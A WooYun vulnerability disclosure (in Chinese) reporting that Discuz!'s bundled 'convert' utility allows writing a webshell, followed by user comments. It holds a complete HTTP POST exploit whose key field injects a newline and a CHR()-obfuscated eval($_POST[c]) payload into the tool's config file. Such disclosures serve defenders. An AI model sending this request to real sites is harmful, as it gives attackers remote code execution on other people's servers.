当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045611

漏洞标题:discuz!某自带工具可拿shell

相关厂商:Discuz!

漏洞作者: kobin97

提交时间:2013-12-11 14:23

修复时间:2014-03-08 14:23

公开时间:2014-03-08 14:23

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-11: 细节已通知厂商并且等待厂商处理中
2013-12-16: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-02-09: 细节向核心白帽子及相关领域专家公开
2014-02-19: 细节向普通白帽子公开
2014-03-01: 细节向实习白帽子公开
2014-03-08: 细节向公众公开

简要描述:

discuz!某自带工具,由于使用不当,可以造成webshell。
而且经过调查,使用者数量较大。

详细说明:

discuz! 安装包中会自带一个转换工具 convert
这个工具由于存在安全问题,可以拿shell
一般存在网站目录 convert 或 utility/convert
而且经过调查,使用数量还是很大的。
使用前题是data目录可写,这也是这个工具的使用前题。
分析:
文件:
utility\convert\include\do_config.inc.php

保存配置,跟踪到save_config_file
utility\convert\include\global.func.php
分析方法:getvars 和 buildarray等
可以看出,对key进行过滤只有
getvars 前面,但后面的key完全没有过滤。
在 GPC OFF 时可直接拿shell
ON 时,
if($level == 0) {
$newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
$return .= "\r\n// $newline //\r\n";
}
首字母也写到文件中。我们只要把key 加上换行符,就能实现写shell
通过方法:
POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 199
Content-Type: application/x-www-form-urlencoded
newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR
(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR
(59));//]=aaaa&submit=yes
即可以写shell,shell地址
convert/data/config.inc.php

漏洞证明:

0.jpg


-1.jpg

修复方案:

修改这个程序,或用完删除

版权声明:转载请注明来源 kobin97@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-03-08 14:23

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2013-12-11 14:25 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2738 漏洞数:547 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    牛B 。。。。。。。。 别说是第三方插件!

  2. 2013-12-11 14:25 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    强大呀!!!太够力了!

  3. 2013-12-11 14:31 | 笨小猪 ( 路人 | Rank:16 漏洞数:2 | 杯壁下流)

    看来又是某插件造成的?

  4. 2013-12-11 14:31 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    这。。。

  5. 2013-12-11 14:36 | print_0x0000 ( 实习白帽子 | Rank:88 漏洞数:22 | 一枚苦逼的农民工.)

    前排围观~

  6. 2013-12-11 14:37 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    @爱上平顶山 自带shell 功能哦

  7. 2013-12-11 14:42 | Jesus ( 实习白帽子 | Rank:60 漏洞数:18 | 天地不仁,以万物为刍狗!)

    mark

  8. 2013-12-11 15:19 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    @kobin97 请问是用黑盒还是白盒的方法发现的呀?

  9. 2013-12-11 15:35 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    我觉得一哥马上要有行动了

  10. 2013-12-11 15:43 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    @小川 我预言你将是预言帝

  11. 2013-12-11 16:57 | stephenpan ( 路人 | Rank:0 漏洞数:2 | 还没有!)

    第三方插件,现在出问题的太多了,拿Shell,暴库,哎!

  12. 2013-12-11 17:04 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2278 漏洞数:204 | 关注技术与网络安全(招人中,有兴趣请私信...)

    @爱上平顶山 @stephenpan 是那个插件 ? 人家说是官方自带工具。。牛呀

  13. 2013-12-11 17:06 | stephenpan ( 路人 | Rank:0 漏洞数:2 | 还没有!)

    @Jannock 我没看清楚,哈哈,我是最近被插件搞过!

  14. 2013-12-11 17:09 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2738 漏洞数:547 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    @Jannock 鹅鹅鹅饿鹅鹅鹅饿 大婶 好久不见

  15. 2013-12-11 18:46 | 江南的鱼 ( 普通白帽子 | Rank:137 漏洞数:15 | 天生庸才!)
  16. 2013-12-11 21:16 | 江南的鱼 ( 普通白帽子 | Rank:137 漏洞数:15 | 天生庸才!)

    在工具下面这个计划任务很可疑,呵呵,我也是猜测的

  17. 2013-12-11 22:33 | 微尘 ( 普通白帽子 | Rank:218 漏洞数:74 )

    坐等公开

  18. 2013-12-13 13:33 | 网络流氓 ( 路人 | Rank:29 漏洞数:3 | 欢迎热爱网络安全的朋友技术交流QQ:1020471...)

    这是要逆天的节奏哇

  19. 2013-12-13 15:39 | fyth ( 路人 | Rank:2 漏洞数:1 | 我就看看,不说话)

    马克,坐等公开

  20. 2013-12-14 11:06 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    需要数据库密码吧

  21. 2013-12-17 12:09 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    忽略了 ==Discuz这个厂商实在是...

  22. 2013-12-19 21:23 | 职业色羊 ( 路人 | Rank:10 漏洞数:2 | 无)

    Mark

  23. 2014-02-07 12:41 | ︶ㄣ时空丶之翼 ( 路人 | Rank:0 漏洞数:1 | 白帽子一枚- -)

    Mark!